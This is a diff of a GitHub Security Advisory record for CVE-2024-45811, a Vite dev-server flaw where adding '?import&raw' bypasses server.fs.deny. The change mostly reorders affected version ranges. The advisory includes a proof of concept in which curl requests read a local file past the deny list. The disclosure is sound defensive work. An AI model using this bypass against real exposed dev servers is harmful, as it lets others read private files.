Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,18 +1,14 @@
{
"schema_version": "1.4.0",
"id": "GHSA-9cwx-2883-4wfx",
"modified": "2024-09-19T18:34:32Z",
"modified": "2024-09-19T18:34:34Z",
"published": "2024-09-17T18:44:12Z",
"aliases": [
"CVE-2024-45811"
],
"summary": "Vite's `server.fs.deny` is bypassed when using `?import&raw`",
"details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n <body>\n <h1>403 Restricted</h1>\n <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
},
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
Expand Down Expand Up @@ -73,14 +69,17 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "5.2.0"
"introduced": "4.0.0"
},
{
"fixed": "5.2.14"
"fixed": "4.5.4"
}
]
}
]
],
"database_specific": {
"last_known_affected_version_range": "<= 4.5.3"
}
},
{
"package": {
Expand All @@ -92,16 +91,16 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "4.0.0"
"introduced": "0"
},
{
"fixed": "4.5.4"
"fixed": "3.2.11"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 4.5.3"
"last_known_affected_version_range": "<= 3.2.10"
}
},
{
Expand All @@ -114,17 +113,14 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
"introduced": "5.2.0"
},
{
"fixed": "3.2.11"
"fixed": "5.2.14"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 3.2.10"
}
]
},
{
"package": {
Expand Down